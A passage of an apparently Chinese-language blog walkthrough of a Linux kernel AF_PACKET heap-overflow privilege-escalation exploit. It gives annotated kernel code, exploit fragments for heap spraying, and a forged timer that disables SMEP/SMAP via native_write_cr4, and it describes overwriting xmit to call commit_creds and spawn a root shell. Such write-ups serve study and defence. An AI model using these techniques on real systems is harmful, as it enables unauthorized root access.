static void *__packet_lookup_frame_in_block(struct packet_sock *po,
                        struct sk_buff *skb,
                        int status,
                        unsigned int len
                        )
{
    struct tpacket_kbdq_core *pkc;
    struct tpacket_block_desc *pbd;
    char *curr, *end;
    pkc = GET_PBDQC_FROM_RB(&po->rx_ring);
    pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
    ...
    curr = pkc->nxt_offset;
    pkc->skb = skb;
    end = (char *)pbd + pkc->kblk_size;
    /* first try the current block */
    if (curr+TOTAL_PKT_LEN_INCL_ALIGN(len) < end) { 								// (1-4)不满足本条件,所以会从第2个块中找空余的空间。
        prb_fill_curr_block(curr, pkc, pbd, len);
        return (void *)curr;
    }
    /* Ok, close the current block */
    prb_retire_current_block(pkc, po, 0);
    /* Now, try to dispatch the next block */
    curr = (char *)prb_dispatch_next_block(pkc, po); // 返回第2个块
    if (curr) {
        pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
        prb_fill_curr_block(curr, pkc, pbd, len);
        return (void *)curr;
    }
    ...
----------------------------------------------------------------------	
static void *prb_dispatch_next_block(struct tpacket_kbdq_core *pkc,
        struct packet_sock *po)
{
    ...
    prb_open_block(pkc, pbd);
    return (void *)pkc->nxt_offset;
}

------------------------------------------------------------------------------
int skb_copy_bits(const struct sk_buff *skb, int offset, void *to, int len)
{
    	int start = skb_headlen(skb);
	struct sk_buff *frag_iter;
	int i, copy;

	if (offset > (int)skb->len - len)
		goto fault;

	/* Copy header. */
	if ((copy = start - offset) > 0) {
		if (copy > len)
			copy = len;
		skb_copy_from_linear_data_offset(skb, offset, to, copy);
		 // (2-1) memcpy(to, skb->data + offset, len);  开始拷贝用户传入的数据,在这里下断点,查看是否覆盖了伪造的数据
		if ((len -= copy) == 0)
			return 0;
		offset += copy;
		to     += copy;
	}
if ((copy = start - offset) > 0) {

由于我们nxt_offset 不是完全符合到TIMER_OFFSET 字段的,所以会调整写,最终会溢出覆盖packet_socket的timer,最终覆盖packet_sock->rx_ring->prb_bdqc->retire_blk_timer->func为native_write_cr4,参数为设置的cr4值0x4ab40

int i;
	for (i = 0; i < 32; i++) {
		int timer = packet_sock_kmalloc();
		packet_sock_timer_schedule(timer, 1000);
	}
	
char buffer[2048];
	memset(&buffer[0], 0, sizeof(buffer));
	struct timer_list *timer = (struct timer_list *)&buffer[8];
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;
	
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, &buffer[0] + 2, sizeof(*timer) + 8 - 2, 0, (struct sockaddr *)&sa,sizeof(sa)) < 0) {
		perror("[-] sendto(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

等待计时器执行(喷与内存块相邻的packet_socket后,要设置环形缓冲区的超时时间),然后就会超时调用该函数取消smep和smap了

溢出风水2

覆盖packet_sock的xmit函数指针,它会在发送数据时被调用,在关闭SMEP后返回到用户空间执行commit_creds(prepare_kernel_cred(0))实现提权

然后和上面同理,先申请一个绑定到接口的套接字,不同的是设置环形缓冲区时设置的tp_sizeof_priv不同,然后申请大量packet_socket,再将构造好的payload发送到接口。当然也要调整发送的偏移,因为xmit的偏移也不是八字节对齐的

由于此时溢出覆盖的是堆喷的大量的packet_socket,此时调用那些喷的packet_socket来sendto到接口来触发packet_sock_id_match_trigger

起shell

最后在用户态起个shell就行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值